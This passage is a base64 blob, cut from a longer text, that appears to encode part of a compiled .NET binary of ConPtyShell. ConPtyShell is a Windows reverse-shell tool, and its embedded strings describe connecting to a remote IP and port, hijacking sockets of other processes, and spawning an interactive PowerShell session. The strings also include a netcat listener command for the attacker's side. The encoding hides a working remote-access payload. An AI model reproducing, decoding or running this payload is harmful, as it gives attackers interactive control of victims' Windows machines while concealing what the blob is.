JFQURfU1RBUlRfUk9VVElORQBTb2NrZXRIaWphY2tpbmcAU1lTVEVNX0hBTkRMRQBPQkpFQ1RfSU5GT1JNQVRJT05fQ0xBU1MAT0JKRUNUX05BTUVfSU5GT1JNQVRJT04AVU5JQ09ERV9TVFJJTkcAUHJvY2Vzc0FjY2Vzc0ZsYWdzAFdTQURhdGEAV1NBUFJPVE9DT0xDSEFJTgBXU0FQUk9UT0NPTF9JTkZPAFNPQ0tBRERSX0lOAFBhcmVudFByb2Nlc3NVdGlsaXRpZXMAQ29uUHR5U2hlbGwAU1RBUlRVUElORk9FWABTVEFSVFVQSU5GTwBQUk9DRVNTX0lORk9STUFUSU9OAFNFQ1VSSVRZX0FUVFJJQlVURVMAQ09PUkQAQ29uUHR5U2hlbGxNYWluQ2xhc3MATWFpbkNsYXNzAG1zY29ybGliAFN5c3RlbQBFeGNlcHRpb24AT2JqZWN0AE11bHRpY2FzdERlbGVnYXRlAFZhbHVlVHlwZQBFbnVtAGVycm9yX3N0cmluZwAuY3RvcgBkZWFkbG9ja0RldGVjdGVkAHRhcmdldEhhbmRsZQBDbG9zZUhhbmRsZQBXYWl0Rm9yU2luZ2xlT2JqZWN0AENyZWF0ZVRocmVhZABUaHJlYWRDaGVja0RlYWRsb2NrAENoZWNrRGVhZGxvY2tEZXRlY3RlZABJbnZva2UASUFzeW5jUmVzdWx0AEFzeW5jQ2FsbGJhY2sAQmVnaW5JbnZva2UARW5kSW52b2tlAE5UU1RBVFVTX1NVQ0NFU1MATlRTVEFUVVNfSU5GT0xFTkdUSE1JU01BVENIAE5UU1RBVFVTX0JVRkZFUk9WRVJGTE9XAE5UU1RBVFVTX0JVRkZFUlRPT1NNQUxMAFNUQVRVU19JTkZPX0xFTkdUSF9NSVNNQVRDSABXU0FfRkxBR19PVkVSTEFQUEVEAERVUExJQ0FURV9TQU1FX0FDQ0VTUwBTeXN0ZW1IYW5kbGVJbmZvcm1hdGlvbgBXU0FTdGFydHVwAFdTQUR1cGxpY2F0ZVNvY2tldABXU0FTb2NrZXQAV1NBR2V0TGFzdEVycm9yAGdldHBlZXJuYW1lAE9wZW5Qcm9jZXNzAER1cGxpY2F0ZUhhbmRsZQBHZXRDdXJyZW50UHJvY2VzcwBOdFF1ZXJ5T2JqZWN0AE50UXVlcnlTeXN0ZW1JbmZvcm1hdGlvbgBOdFF1ZXJ5U3lzdGVtSW5mb3JtYXRpb25EeW5hbWljAE50UXVlcnlPYmplY3REeW5hbWljAFN5c3RlbS5EaWFnbm9zdGljcwBQcm9jZXNzAEdldFNvY2tldFRhcmdldFByb2Nlc3MASXNTb2NrZXRJbmhlcml0ZWQARHVwbGljYXRlVGFyZ2V0UHJvY2Vzc1NvY2tldABQcm9jZXNzSWQAQ3JlYXRvckJhY2tUcmFja0luZGV4AE9iamVjdFR5cGVOdW1iZXIASGFuZGxlQXR0cmlidXRlAEhhbmRsZQBHcmFudGVkQWNjZXNzAHZhbHVlX18AT2JqZWN0QmFzaWNJbmZvcm1hdGlvbgBPYmplY3ROYW1lSW5mb3JtYXRpb24AT2JqZWN0VHlwZUluZm9ybWF0aW9uAE9iamVjdEFsbFR5cGVzSW5mb3JtYXRpb24AT2JqZWN0SGFuZGxlSW5mb3JtYXRpb24ATmFtZQBMZW5ndGgATWF4aW11bUxlbmd0aABCdWZmZXIAQWxsAFRlcm1pbmF0ZQBWaXJ0dWFsTWVtb3J5T3BlcmF0aW9uAFZpcnR1YWxNZW1vcnlSZWFkAFZpcnR1YWxNZW1vcnlXcml0ZQBDcmVhdGVQcm9jZXNzAFNldFF1b3RhAFNldEluZm9ybWF0aW9uAFF1ZXJ5SW5mb3JtYXRpb24AUXVlcnlMaW1pdGVkSW5mb3JtYXRpb24AU3luY2hyb25pemUAd1ZlcnNpb24Ad0hpZ2hWZXJzaW9uAGlNYXhTb2NrZXRzAGlNYXhVZHBEZwBscFZlbmRvckluZm8Ac3pEZXNjcmlwdGlvbgBzelN5c3RlbVN0YXR1cwBDaGFpbkxlbgBDaGFpbkVudHJpZXMAZHdTZXJ2aWNlRmxhZ3MxAGR3U2VydmljZUZsYWdzMgBkd1NlcnZpY2VGbGFnczMAZHdTZXJ2aWNlRmxhZ3M0AGR3UHJvdmlkZXJGbGFncwBHdWlkAFByb3ZpZGVySWQAZHdDYXRhbG9nRW50cnlJZABQcm90b2NvbENoYWluAGlWZXJzaW9uAGlBZGRyZXNzRmFtaWx5AGlNYXhTb2NrQWRkcgBpTWluU29ja0FkZHIAaVNvY2tldFR5cGUAaVByb3RvY29sAGlQcm90b2NvbE1heE9mZnNldABpTmV0d29ya0J5dGVPcmRlcgBpU2VjdXJpdHlTY2hlbWUAZHdNZXNzYWdlU2l6ZQBkd1Byb3ZpZGVyUmVzZXJ2ZWQAc3pQcm90b2NvbABzaW5fZmFtaWx5AHNpbl9wb3J0AHNpbl9hZGRyAHNpbl96ZXJvAFJlc2VydmVkMQBQZWJCYXNlQWRkcmVzcwBSZXNlcnZlZDJfMABSZXNlcnZlZDJfMQBVbmlxdWVQcm9jZXNzSWQASW5oZXJpdGVkRnJvbVVuaXF1ZVByb2Nlc3NJZABOdFF1ZXJ5SW5mb3JtYXRpb25Qcm9jZXNzAEdldFBhcmVudFByb2Nlc3MAZXJyb3JTdHJpbmcARU5BQkxFX1ZJUlRVQUxfVEVSTUlOQUxfUFJPQ0VTU0lORwBESVNBQkxFX05FV0xJTkVfQVVUT19SRVRVUk4AUFJPQ19USFJFQURfQVRUUklCVVRFX1BTRVVET0NPTlNPTEUARVhURU5ERURfU1RBUlRVUElORk9fUFJFU0VOVABDUkVBVEVfTk9fV0lORE9XAFNUQVJURl9VU0VTVERIQU5ETEVTAEJVRkZFUl9TSVpFX1BJUEUASU5GSU5JVEUAU1dfSElERQBHRU5FUklDX1JFQUQAR0VORVJJQ19XUklURQBGSUxFX1NIQVJFX1JFQUQARklMRV9TSEFSRV9XUklURQBGSUxFX0FUVFJJQlVURV9OT1JNQUwAT1BFTl9FWElTVElORwBTVERfSU5QVVRfSEFORExFAFNURF9PVVRQVVRfSEFORExFAFNURF9FUlJPUl9IQU5ETEUASW5pdGlhbGl6ZVByb2NUaHJlYWRBdHRyaWJ1dGVMaXN0AFVwZGF0ZVByb2NUaHJlYWRBdHRyaWJ1dGUAQ3JlYXRlUHJvY2Vzc1cAVGVybWluYXRlUHJvY2VzcwBTZXRTdGRIYW5kbGUAR2V0U3RkSGFuZGxlAENyZWF0ZVBpcGUAQ3JlYXRlRmlsZQBSZWFkRmlsZQBXcml0ZUZpbGUAQ3JlYXRlUHNldWRvQ29uc29sZQBDbG9zZVBzZXVkb0NvbnNvbGUAU2V0Q29uc29sZU1vZGUAR2V0Q29uc29sZU1vZGUAQWxsb2NDb25zb2xlAEZyZWVDb25zb2xlAFNob3dXaW5kb3cAR2V0Q29uc29sZVdpbmRvdwBHZXRNb2R1bGVIYW5kbGUAR2V0UHJvY0FkZHJlc3MAU3lzdGVtLk5ldC5Tb2NrZXRzAEFkZHJlc3NGYW1pbHkAU29ja2V0VHlwZQBQcm90b2NvbFR5cGUAY29ubmVjdABodG9ucwBpbmV0X2FkZHIAY2xvc2Vzb2NrZXQAcmVjdgBzZW5kAE50U3VzcGVuZFByb2Nlc3MATnRSZXN1bWVQcm9jZXNzAGNvbm5lY3RSZW1vdGUAVHJ5UGFyc2VSb3dzQ29sc0Zyb21Tb2NrZXQAQ3JlYXRlUGlwZXMASW5pdENvbnNvbGUAUmVzdG9yZVN0ZEhhbmRsZXMARW5hYmxlVmlydHVhbFRlcm1pbmFsU2VxdWVuY2VQcm9jZXNzaW5nAENyZWF0ZVBzZXVkb0NvbnNvbGVXaXRoUGlwZXMAQ29uZmlndXJlUHJvY2Vzc1RocmVhZABSdW5Qcm9jZXNzAENyZWF0ZUNoaWxkUHJvY2Vzc1dpdGhQc2V1ZG9Db25zb2xlAFRocmVhZFJlYWRQaXBlV3JpdGVTb2NrZXQAU3lzdGVtLlRocmVhZGluZwBUaHJlYWQAU3RhcnRUaHJlYWRSZWFkUGlwZVdyaXRlU29ja2V0AFRocmVhZFJlYWRTb2NrZXRXcml0ZVBpcGUAU3RhcnRUaHJlYWRSZWFkU29ja2V0V3JpdGVQaXBlAFNwYXduQ29uUHR5U2hlbGwAU3RhcnR1cEluZm8AbHBBdHRyaWJ1dGVMaXN0AGNiAGxwUmVzZXJ2ZWQAbHBEZXNrdG9wAGxwVGl0bGUAZHdYAGR3WQBkd1hTaXplAGR3WVNpemUAZHdYQ291bnRDaGFycwBkd1lDb3VudENoYXJzAGR3RmlsbEF0dHJpYnV0ZQBkd0ZsYWdzAHdTaG93V2luZG93AGNiUmVzZXJ2ZWQyAGxwUmVzZXJ2ZWQyAGhTdGRJbnB1dABoU3RkT3V0cHV0AGhTdGRFcnJvcgBoUHJvY2VzcwBoVGhyZWFkAGR3UHJvY2Vzc0lkAGR3VGhyZWFkSWQAbkxlbmd0aABscFNlY3VyaXR5RGVzY3JpcHRvcgBiSW5oZXJpdEhhbmRsZQBYAFkAaGVscABIZWxwUmVxdWlyZWQAQ2hlY2tBcmdzAERpc3BsYXlIZWxwAENoZWNrUmVtb3RlSXBBcmcAQ2hlY2tJbnQAUGFyc2VSb3dzAFBhcnNlQ29scwBQYXJzZUNvbW1hbmRMaW5lAENvblB0eVNoZWxsTWFpbgBNYWluAFN5c3RlbS5SdW50aW1lLkNvbXBpbGVyU2VydmljZXMAQ29tcGlsYXRpb25SZWxheGF0aW9uc0F0dHJpYnV0ZQBSdW50aW1lQ29tcGF0aWJpbGl0eUF0dHJpYnV0ZQBDb25QdHlTaGVsbF9uZXQyAG1lc3NhZ2UAU3RyaW5nAENvbmNhdABTeXN0ZW0uUnVudGltZS5JbnRlcm9wU2VydmljZXMARGxsSW1wb3J0QXR0cmlidXRlAGtlcm5lbDMyLmRsbABoT2JqZWN0AGhIYW5kbGUAZHdNaWxsaXNlY29uZHMAS2VybmVsMzIuZGxsAGxwVGhyZWFkQXR0cmlidXRlcwBkd1N0YWNrU2l6ZQBscFN0YXJ0QWRkcmVzcwBscFBhcmFtZXRlcgBkd0NyZWF0aW9uRmxhZ3MAbHBUaHJlYWRJZABPdXRBdHRyaWJ1dGUAdGhyZWFkUGFyYW1zAHRIYW5kbGUASW50UHRyAFplcm8Ab2JqZWN0AG1ldGhvZABscFBhcmFtAGNhbGxiYWNrAHJlc3VsdAB3czJfMzIuZGxsAHdWZXJzaW9uUmVxdWVzdGVkAHdzYURhdGEAV1MyXzMyLkRMTABzb2NrZXRIYW5kbGUAcHJvY2Vzc0lkAHBpbm5lZEJ1ZmZlcgBhZGRyZXNzRmFtaWx5AEluQXR0cmlidXRlAHNvY2tldFR5cGUAcHJvdG9jb2xUeXBlAGxwUHJvdG9jb2xJbmZvAGdyb3VwMQBzAG5hbWUAbmFtZWxlbgBwcm9jZXNzQWNjZXNzAE1hcnNoYWxBc0F0dHJpYnV0ZQBVbm1hbmFnZWRUeXBlAGhTb3VyY2VQcm9jZXNzSGFuZGxlAGhTb3VyY2VIYW5kbGUAaFRhcmdldFByb2Nlc3NIYW5kbGUAbHBUYXJnZXRIYW5kbGUAZHdEZXNpcmVkQWNjZXNzAGR3T3B0aW9ucwBudGRsbC5kbGwAb2JqZWN0SGFuZGxlAGluZm9ybWF0aW9uQ2xhc3MAaW5mb3JtYXRpb25QdHIAaW5mb3JtYXRpb25MZW5ndGgAcmV0dXJuTGVuZ3RoAFN5c3RlbUluZm9ybWF0aW9uQ2xhc3MAU3lzdGVtSW5mb3JtYXRpb24AU3lzdGVtSW5mb3JtYXRpb25MZW5ndGgAaW5mb0NsYXNzAGluZm9MZW5ndGgATWFyc2hhbABBbGxvY0hHbG9iYWwARnJlZUhHbG9iYWwAaGFuZGxlAEludDMyAFR5cGUAUnVudGltZVR5cGVIYW5kbGUAR2V0VHlwZUZyb21IYW5kbGUAU2l6ZU9mAHRhcmdldFByb2Nlc3MAZ2V0X0lkAG9wX0VxdWFsaXR5AFRvU3RyaW5nAENvbnNvbGUAV3JpdGVMaW5lAFJlYWRJbnRQdHIAVG9JbnQ2NABnZXRfU2l6ZQBQdHJUb1N0cnVjdHVyZQBvcF9FeHBsaWNpdABvcF9JbmVxdWFsaXR5AFB0clRvU3RyaW5nVW5pAHBhcmVudFByb2Nlc3MARm9ybWF0AFN0cnVjdExheW91dEF0dHJpYnV0ZQBMYXlvdXRLaW5kAEZsYWdzQXR0cmlidXRlAHByb2Nlc3NIYW5kbGUAcHJvY2Vzc0luZm9ybWF0aW9uQ2xhc3MAcHJvY2Vzc0luZm9ybWF0aW9uAHByb2Nlc3NJbmZvcm1hdGlvbkxlbmd0aABnZXRfSGFuZGxlAGlkAEdldFByb2Nlc3NCeUlkAFRvSW50MzIAQXJndW1lbnRFeGNlcHRpb24AZHdBdHRyaWJ1dGVDb3VudABscFNpemUAYXR0cmlidXRlAGxwVmFsdWUAY2JTaXplAGxwUHJldmlvdXNWYWx1ZQBscFJldHVyblNpemUAbHBBcHBsaWNhdGlvbk5hbWUAbHBDb21tYW5kTGluZQBscFByb2Nlc3NBdHRyaWJ1dGVzAGJJbmhlcml0SGFuZGxlcwBscEVudmlyb25tZW50AGxwQ3VycmVudERpcmVjdG9yeQBscFN0YXJ0dXBJbmZvAGxwUHJvY2Vzc0luZm9ybWF0aW9uAHVFeGl0Q29kZQBuU3RkSGFuZGxlAGhSZWFkUGlwZQBoV3JpdGVQaXBlAGxwUGlwZUF0dHJpYnV0ZXMAblNpemUAbHBGaWxlTmFtZQBkd1NoYXJlTW9kZQBTZWN1cml0eUF0dHJpYnV0ZXMAZHdDcmVhdGlvbkRpc3Bvc2l0aW9uAGR3RmxhZ3NBbmRBdHRyaWJ1dGVzAGhUZW1wbGF0ZUZpbGUAaEZpbGUAbHBCdWZmZXIAbk51bWJlck9mQnl0ZXNUb1JlYWQAbHBOdW1iZXJPZkJ5dGVzUmVhZABscE92ZXJsYXBwZWQAbk51bWJlck9mQnl0ZXNUb1dyaXRlAGxwTnVtYmVyT2ZCeXRlc1dyaXR0ZW4Ac2l6ZQBoSW5wdXQAaE91dHB1dABwaFBDAGhQQwBoQ29uc29sZUhhbmRsZQBtb2RlAHVzZXIzMi5kbGwAaFduZABuQ21kU2hvdwBscE1vZHVsZU5hbWUAa2VybmVsMzIAaE1vZHVsZQBwcm9jTmFtZQBwcm90b2NvbEluZm8AZ3JvdXAAZmxhZ3MAYWRkcgBhZGRyc2l6ZQBob3N0c2hvcnQAY3AAU29ja2V0AGJ1ZgBsZW4AcmVtb3RlSXAAcmVtb3RlUG9ydABDb252ZXJ0AHNoZWxsU29ja2V0AHJvd3MAY29scwBTbGVlcABCeXRlAFN5c3RlbS5UZXh0AEVuY29kaW5nAGdldF9BU0NJSQBHZXRTdHJpbmcAQ2hhcgBTcGxpdABUcmltAFRyeVBhcnNlAElucHV0UGlwZVJlYWQASW5wdXRQaXBlV3JpdGUAT3V0cHV0UGlwZVJlYWQAT3V0cHV0UGlwZVdyaXRlAG9sZFN0ZEluAG9sZFN0ZE91dABvbGRTdGRFcnIAaGFuZGxlUHNldWRvQ29uc29sZQBDb25QdHlJbnB1dFBpcGVSZWFkAENvblB0eU91dHB1dFBpcGVXcml0ZQBhdHRyaWJ1dGVzAEdldExhc3RXaW4zMkVycm9yAHNJbmZvRXgAY29tbWFuZExpbmUAUGFyYW1ldGVyaXplZFRocmVhZFN0YXJ0AFN0YXJ0AGhDaGlsZFByb2Nlc3MAdXBncmFkZVNoZWxsAEFib3J0AHBhcmFtAGFyZ3VtZW50cwBTeXN0ZW0uSU8AVGV4dFdyaXRlcgBnZXRfT3V0AFdyaXRlAGlwU3RyaW5nAFN5c3RlbS5OZXQASVBBZGRyZXNzAGFyZwBhcmdzAENvbnRhaW5zAC5jY3RvcgAAAAAANVsALQBdACAAQwBvAG4AUAB0AHkAUwBoAGUAbABsAEUAeABjAGUAcAB0AGkAbwBuADoAIAABSUMAYQBuAG4AbwB0ACAAbwBwAGUAbgAgAHQAYQByAGcAZQB0ACAAcAByAG8AYwBlAHMAcwAgAHcAaQB0AGgAIABwAGkAZAAgAAA3IABmAG8AcgAgAEQAdQBwAGwAaQBjAGEAdABlAEgAYQBuAGQAbABlACAAYQBjAGMAZQBzAHMAABdcAEQAZQB2AGkAYwBlAFwAQQBmAGQAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAVABhAHIAZwBlAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHdnAGUAdABwAGUAZQByAG4AYQBtAGUAIABzAG8AYwBrAGEAZABkAHIAUABhAHIAZQBuAHQAUAByAG8AYwBlAHMAcwAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAAHFOAG8AIABcAEQAZQB2AGkAYwBlAFwAQQBmAGQAIABvAGIAagBlAGMAdABzACAAZgBvAHUAbgBkAC4AIABTAG8AYwBrAGUAdAAgAGQAdQBwAGwAaQBjAGEAdABpAG8AbgAgAGYAYQBpAGwAZQBkAC4AAE1XAFMAQQBTAHQAYQByAHQAdQBwACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAEtXAFMAQQBEAHUAcABsAGkAYwBhAHQAZQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAAlIABhAG4AZAAgAHcAcwBhAGwAYQBzAHQAZQByAHIAbwByACAAADlXAFMAQQBTAG8AYwBrAGUAdAAgAGYAYQBpAGwAZQBkACAAdwBpAHQAaAAgAGUAcgByAG8AcgAgAAA3UwBwAGUAYwBpAGYAaQBlAGQAIABwAG8AcgB0ACAAaQBzACAAaQBuAHYAYQBsAGkAZAA6ACAAAE1XAFMAQQBDAG8AbgBuAGUAYwB0ACAAZgBhAGkAbABlAGQAIAB3AGkAdABoACAAZQByAHIAbwByACAAYwBvAGQAZQA6ACAAewAwAH0AAD1DAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAdABoAGUAIABJAG4AcAB1AHQAUABpAHAAZQAAP0MAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIAB0AGgAZQAgAE8AdQB0AHAAdQB0AFAAaQBwAGUAAA9DAE8ATgBPAFUAVAAkAAANQwBPAE4ASQBOACQAADVDAG8AdQBsAGQAIABuAG8AdAAgAGcAZQB0ACAAYwBvAG4AcwBvAGwAZQAgAG0AbwBkAGUAAFlDAG8AdQBsAGQAIABuAG8AdAAgAGUAbgBhAGIAbABlACAAdgBpAHIAdAB1AGEAbAAgAHQAZQByAG0AaQBuAGEAbAAgAHAAcgBvAGMAZQBzAHMAaQBuAGcAAICBQwBvAHUAbABkACAAbgBvAHQAIABjAGEAbABjAHUAbABhAHQAZQAgAHQAaABlACAAbgB1AG0AYgBlAHIAIABvAGYAIABiAHkAdABlAHMAIABmAG8AcgAgAHQAaABlACAAYQB0AHQAcgBpAGIAdQB0AGUAIABsAGkAcwB0AC4AIAAAQ0MAbwB1AGwAZAAgAG4AbwB0ACAAcwBlAHQAIAB1AHAAIABhAHQAdAByAGkAYgB1AHQAZQAgAGwAaQBzAHQALgAgAABdQwBvAHUAbABkACAAbgBvAHQAIABzAGUAdAAgAHAAcwBlAHUAZABvAGMAbwBuAHMAbwBsAGUAIAB0AGgAcgBlAGEAZAAgAGEAdAB0AHIAaQBiAHUAdABlAC4AIAAANUMAbwB1AGwAZAAgAG4AbwB0ACAAYwByAGUAYQB0AGUAIABwAHIAbwBjAGUAcwBzAC4AIAAAAQARawBlAHIAbgBlAGwAMwAyAAAnQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAAgJUNAAoAQwByAGUAYQB0AGUAUABzAGUAdQBkAG8AQwBvAG4AcwBvAGwAZQAgAGYAdQBuAGMAdABpAG8AbgAgAGYAbwB1AG4AZAAhACAAUwBwAGEAdwBuAGkAbgBnACAAYQAgAGYAdQBsAGwAeQAgAGkAbgB0AGUAcgBhAGMAdABpAHYAZQAgAHMAaABlAGwAbAANAAoAAFV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAbwBuAG4AZQBjAHQAIAB0AG8AIABpAHAAIAB7ADEAfQAgAG8AbgAgAHAAbwByAHQAIAB7ADIAfQAAOXsAewB7AEMAbwBuAFAAdAB5AFMAaABlAGwAbABFAHgAYwBlAHAAdABpAG8AbgB9AH0AfQANAAoAAGV7ADAAfQBDAG8AdQBsAGQAIABuAG8AdAAgAGMAcgBlAGEAdABlACAAcABzAHUAZQBkAG8AIABjAG8AbgBzAG8AbABlAC4AIABFAHIAcgBvAHIAIABDAG8AZABlACAAewAxAH0AAIC5QwBvAHUAbABkACAAbgBvAHQAIAB1AHAAZwByAGEAZABlACAAcwBoAGUAbABsACAAdABvACAAZgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAYgBlAGMAYQB1AHMAZQAgAEMAbwBuAFAAVABZACAAaQBzACAAbgBvAHQAIABjAG8AbQBwAGEAdABpAGIAbABlACAAbwBuACAAdABoAGkAcwAgAHMAeQBzAHQAZQBtAACArw0ACgBDAHIAZQBhAHQAZQBQAHMAZQB1AGQAbwBDAG8AbgBzAG8AbABlACAAZgB1AG4AYwB0AGkAbwBuACAAbgBvAHQAIABmAG8AdQBuAGQAIQAgAFMAcABhAHcAbgBpAG4AZwAgAGEAIABuAGUAdABjAGEAdAAtAGwAaQBrAGUAIABpAG4AdABlAHIAYQBjAHQAaQB2AGUAIABzAGgAZQBsAGwALgAuAC4ADQAKAAE5QwBvAG4AUAB0AHkAUwBoAGUAbABsACAAawBpAG4AZABsAHkAIABlAHgAaQB0AGUAZAAuAA0ACgAABS0AaAABDS0ALQBoAGUAbABwAAEFLwA/AACAuQ0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAE4AbwB0ACAAZQBuAG8AdQBnAGgAIABhAHIAZwB1AG0AZQBuAHQAcwAuACAAMgAgAEEAcgBnAHUAbQBlAG4AdABzACAAcgBlAHEAdQBpAHIAZQBkAC4AIABVAHMAZQAgAC0ALQBoAGUAbABwACAAZgBvAHIAIABhAGQAZABpAHQAaQBvAG4AYQBsACAAaABlAGwAcAAuAA0ACgABSw0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAOgAgAEkAbgB2AGEAbABpAGQAIAByAGUAbQBvAHQAZQBJAHAAIAB2AGEAbAB1AGUAAEsNAAoAQwBvAG4AUAB0AHkAUwBoAGUAbABsADoAIABJAG4AdgBhAGwAaQBkACAAaQBuAHQAZQBnAGUAcgAgAHYAYQBsAHUAZQAgAAAdcABvAHcAZQByAHMAaABlAGwAbAAuAGUAeABlAAAPdQBwAGcAcgBhAGQAZQAAjqUNAAoADQAKAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAgAC0AIABGAHUAbABsAHkAIABJAG4AdABlAHIAYQBjAHQAaQB2AGUAIABSAGUAdgBlAHIAcwBlACAAUwBoAGUAbABsACAAZgBvAHIAIABXAGkAbgBkAG8AdwBzACAADQAKAEEAdQB0AGgAbwByADoAIABzAHAAbABpAG4AdABlAHIAXwBjAG8AZABlAA0ACgBMAGkAYwBlAG4AcwBlADoAIABNAEkAVAANAAoAUwBvAHUAcgBjAGUAOgAgAGgAdAB0AHAAcwA6AC8ALwBnAGkAdABoAHUAYgAuAGMAbwBtAC8AYQBuAHQAbwBuAGkAbwBDAG8AYwBvAC8AQwBvAG4AUAB0AHkAUwBoAGUAbABsAA0ACgAgACAAIAAgAA0ACgBDAG8AbgBQAHQAeQBTAGgAZQBsAGwAIAAtACAARgB1AGwAbAB5ACAAaQBuAHQAZQByAGEAYwB0AGkAdgBlACAAcgBlAHYAZQByAHMAZQAgAHMAaABlAGwAbAAgAGYAbwByACAAVwBpAG4AZABvAHcAcwANAAoADQAKAFAAcgBvAHAAZQByAGwAeQAgAHMAZQB0ACAAdABoAGUAIAByAG8AdwBzACAAYQBuAGQAIABjAG8AbABzACAAdgBhAGwAdQBlAHMALgAgAFkAbwB1ACAAYwBhAG4AIAByAGUAdAByAGkAZQB2AGUAIABpAHQAIABmAHIAbwBtAA0ACgB5AG8AdQByACAAdABlAHIAbQBpAG4AYQBsACAAdwBpAHQAaAAgAHQAaABlACAAYwBvAG0AbQBhAG4AZAAgACIAcwB0AHQAeQAgAHMAaQB6AGUAIgAuAA0ACgANAAoAWQBvAHUAIABjAGEAbgAgAGEAdgBvAGkAZAAgAHQAbwAgAHMAZQB0ACAAcgBvAHcAcwAgAGEAbgBkACAAYwBvAGwAcwAgAHYAYQBsAHUAZQBzACAAaQBmACAAeQBvAHUAIAByAHUAbgAgAHkAbwB1AHIAIABsAGkAcwB0AGUAbgBlAHIADQAKAHcAaQB0AGgAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZAA6AA0ACgAgACAAIAAgAHMAdAB0AHkAIAByAGEAdwAgAC0AZQBjAGgAbwA7ACAAKABzAHQAdAB5ACAAcwBpAHoAZQA7ACAAYwBhAHQAKQAgAHwAIABuAGMAIAAtAGwAdgBuAHAAIAAzADAAMAAxAA0ACgANAAoASQBmACAAeQBvAHUAIAB3AGEAbgB0ACAAdABvACAAYwBoAGEAbgBnAGUAIAB0AGgAZQAgAGMAbwBuAHMAbwBsAGUAIABzAGkAegBlACAAZABpAHIAZQBjAHQAbAB5ACAAZgByAG8AbQAgAHAAbwB3AGUAcgBzAGgAZQBsAGwADQAKAHkAbwB1ACAAYwBhAG4AIABwAGEAcwB0AGUAIAB0AGgAZQAgAGYAbwBsAGwAbwB3AGkAbgBnACAAYwBvAG0AbQBhAG4AZABzADoADQAKACAAIAAgACAAJAB3AGkAZAB0AGgAPQA4ADAADQAKACAAIAAgACAAJABoAGUAaQBnAGgAdAA9ADIANAANAAoAIAAgACAAIAAkAEgAbwBzAHQALgBVAEkALgBSAGEAdwBVAEkALgBCAHUAZgBmAGUAcgBTAGkAegBlACAAPQAgAE4AZQB3AC0ATwBiAGoAZQBjAHQAIABNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAAKAAkAHcAaQBkAHQAaAAsACAAJABoAGUAaQBnAGgAdAApAA0ACgAgACAAIAAgACQASABvAHMAdAAuAFUASQAuAFIAYQB3AFUASQAuAFcAaQBuAGQAbwB3AFMAaQB6AGUAIAA9ACAATgBlAHcALQBPAGIAagBlAGMAdAAgAC0AVAB5AHAAZQBOAGEAbQBlACAAUwB5AHMAdABlAG0ALgBNAGEAbgBhAGcAZQBtAGUAbgB0AC4AQQB1AHQAbwBtAGEAdABpAG8AbgAuAEgAbwBzAHQALgBTAGkAegBlACAALQBBAHIAZwB1AG0AZQBuAHQATABpAHMAdAAgACgAJAB3AGkAZAB0AGgALAAgACQAaABlAGkAZwBoAHQAKQANAAoADQAKAFUAcwBhAGcAZQA6AA0ACgAgACAAIAAgAEMAbwBuAFAAdAB5AFMAaABlAGwAbAAuAGUAeABlACAAcgBlAG0AbwB0AGUAXwBpAHAAIAByAGUAbQBvAHQAZQBfAHAAbwByAHQAIABbAHIAbwB3AHMAXQAgAFsAYwBvAGwAcwBdACAAWwBjAG8AbQBtAGEAbgBkAGwAaQBuAGUAXQANAAoADQAKAFAAbwBzAGkAdABpAG8AbgBhAGwAIABhAHIAZwB1AG0AZQBuAHQAcwA6AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AaQBwACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABpAHAAIAB0AG8AIABjAG8AbgBuAGUAYwB0AA0ACgAgACAAIAAgAHIAZQBtAG8AdABlAF8AcABvAHIAdAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAcgBlAG0AbwB0AGUAIABwAG8AcgB0ACAAdABvACAAYwBvAG4AbgBlAGMAdAANAAoAIAAgACAAIABbAHIAbwB3AHMAXQAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABSAG8AdwBzACAAcwBpAHoAZQAgAGYAbwByACAAdABoAGUAIABjAG8AbgBzAG8AbABlAA0ACgAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEQAZQBmAGEAdQBsAHQAOgAgACIAMgA0ACIADQAKACAAIAAgACAAWwBjAG8AbABzAF0AIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAQwBvAGwAcwAgAHMAaQB6AGUAIABmAG8AcgAgAHQAaABlACAAYwBvAG4AcwBvAGwAZQANAAoAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIABEAGUAZgBhAHUAbAB0ADoAIAAiADgAMAAiAA0ACgAgACAAIAAgAFsAYwBvAG0AbQBhAG4AZABsAGkAbgBlAF0AIAAgACAAIAAgACAAIAAgACAAIAAgAFQAaABlACAAYwBvAG0AbQBhAG4AZABsAGkAbgBlACAAbwBmACAAdABoAGUAIABwAHIAbwBjAGUAcwBzACAAdABoAGEAdAAgAHkAbwB1ACAAYQByAGUAIABnAG8AaQBuAGcAIAB0AG8AIABpAG4AdABlAHIAYQBjAHQADQAKACAAIAAgACAAIAAgACAAIAAgACAA